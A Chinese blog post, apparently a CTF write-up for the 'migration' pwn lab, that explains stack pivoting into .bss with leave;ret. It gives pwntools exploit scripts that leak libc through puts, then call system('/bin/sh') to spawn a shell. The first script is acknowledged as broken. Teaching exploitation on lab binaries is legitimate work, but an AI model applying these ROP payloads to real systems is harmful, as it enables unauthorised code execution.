美文网首页
1.28第六条咸鱼

1.28第六条咸鱼

作者: 好大一只免孑 | 来源:发表于2019-01-30 00:22 被阅读0次

lab6 | | migration |

基本上是知识盲区
令人头秃

图片.png

这道题是这样的
通过

if ( count != 1337 )
    exit(1);

限制了我们只能利用一次main函数的溢出(直接控制main返回到exit后的话,程序的栈结构会乱掉)
而buf一共28h也就是40字节,read可读进去的是40h也就是64字节,除去覆盖ebp的四个字节,真正能用的实际上只有20字节。然而20字节肯定不够的。
所以我们需要一个骚操作叫做构造假栈帧

原理是,通过溢出,去执行一次read函数,把我们要接下来执行的rop链写到bss的某个地址里去(可以根据用readelf 命令去查一下bss的哪个地方有执行的权力),接着构造假的ebp,让ebp跳转到bss的某个地址中,从而让计算机把那个地址当成栈帧,达到构造假栈帧的目的。(大佬的博客里这么教我的

然后我们这里需要一个leave_ret

图片.png

然后还需要两块bss段 一个用来写rop2 一个用来写\bin\sh

这里放一个比较简单的结构,大概思路是这样:

rop1=[
puts,
pop_ebx_ret,
libc_start_main_got,
gets,
pop_ebx_ret,
buf2,
pop_ebx_ret,
buf2-4,(-4是因为leave中有一个pop ebp语句,所以-4再pop才能跳转去执行rop2)
leave_ret
]

buf2中用来放rop2
rop2构造就可以这样

rop2=[
gets,
system,
buf1,
buf1
]
buf1里面是('/bin/sh')

from pwn import *
#context.log_level='debug'

sh= process('./migration')
r=ELF('./migration')
libc=ELF('/lib32/libc.so.6')

libc_start_main_got=r.got['__libc_start_main']
libc_start_off=libc.symbols['__libc_start_main']
puts_got=r.got['puts']

puts_adr=r.symbols['puts']
read_adr=r.symbols['read']

puts_off=libc.symbols['puts']
system_off=libc.symbols['system']
gets_off=libc.symbols['gets']

pop_ebx_ret=0x0804836d
pop3_ret=0x08048569
leave_ret=0x08048418
buf1 = r.bss() + 0x500 
buf2 = r.bss() + 0x400 

p1='a'*44
p1+=p32(puts_adr)+p32(pop_ebx_ret)+p32(puts_got)
p1+=p32(read_adr)+p32(pop3_ret)+p32(0)+p32(buf2)+p32(0x100)
p1+=p32(pop_ebx_ret)+p32(buf2-4)+p32(leave_ret)

sh.recvuntil("Try your best :")
sh.send(p1)
sleep(0.1)
sh.recvuntil('\n')


libc_base=u32(sh.recv(4))-puts_off
print (hex(libc_base))

gets=gets_off+libc_base
system=libc_base+system_off
p2=p32(system)+p32(gets)+p32(buf1)+p32(buf1)

sh.send(p2)
sh.send("/bin/sh\0")
sh.interactive()

emmmmmm有点问题
之后改

ok我调不出来
我认输

这个wp比较好
https://blog.csdn.net/zszcr/article/details/79841848

from pwn import *
# context.log_level='debug'

sh= process('./migration')
r=ELF('./migration')
libc=ELF('/lib32/libc.so.6')

puts_got=r.got['puts']

puts_adr=r.symbols['puts']
read_adr=r.symbols['read']

puts_off=libc.symbols['puts']
system_off=libc.symbols['system']
gets_off=libc.symbols['gets']

pop_ebx_ret=0x0804836d
pop3_ret=0x08048569
leave_ret=0x08048418
buf1 = r.bss() + 0x500 
buf2 = r.bss() + 0x400 

sh.recvuntil("Try your best :")
p='a'*40+p32(buf2)
p+=p32(read_adr)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
sh.send(p)

p1=p32(buf1)+p32(puts_adr)+p32(pop_ebx_ret)+p32(puts_got)
p1+=p32(read_adr)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)

sh.send(p1)
sleep(0.1)
sh.recvuntil('\n')

libc_base=u32(sh.recv(4))-puts_off
print (hex(libc_base))

gets=gets_off+libc_base
system=libc_base+system_off
p2='aaaa'+p32(gets)+p32(system)+p32(buf2)+p32(buf2)

sh.send(p2)
sh.sendline("/bin/sh\0")
sh.interactive()

图片.png

相关文章

  • 1.28第六条咸鱼

    lab6 | | migration | 基本上是知识盲区令人头秃 这道题是这样的通过 限制了我们只能利用一次...

  • 天安门

    2018—1.28

  • 没吃晚餐记录

    1.28 2.5 2.6 2.19 2.21

  • 第二周

    1.22 1.23 1.24 1.25 1.26 1.27 1.28

  • 拆箱加上盆

    1.26拆箱 1.28上盆 4.24

  • 1.28

    三年不是一段很短的时间,有时回想起来,简直像上个辈子发生的事,一件一件小事大事像颜料,被淡抹在画板上,搞不清楚是前...

  • 1.28

    晚上开始感到有压力,新舞不好学,胃疼。练了solo和shabi,听了蓝蓝占星,最近会有变化,不知道是什么样的变化呢?

  • 1.28

    昨天晚上的时候其实心里很懊悔。下午值班的时候接到快递员的电话说购买的东西到了,东西很大,敲了门没有人,东西很大,表...

  • 1.28

    事件:1.因为单位汇演彩排两天,多增加200人吃饭,这个周末不能休息了!安排的送孩子坐机场大巴坐飞机去北京她姐姐那...

  • 1.28

    今天6点醒来,喝燕麦,煮鸡蛋,听有声电台,梳理了一下接下来想要做的事情。 关键是坚持,让努力成为了资本。

网友评论

      本文标题:1.28第六条咸鱼

      本文链接:https://www.haomeiwen.com/subject/xvcfsqtx.html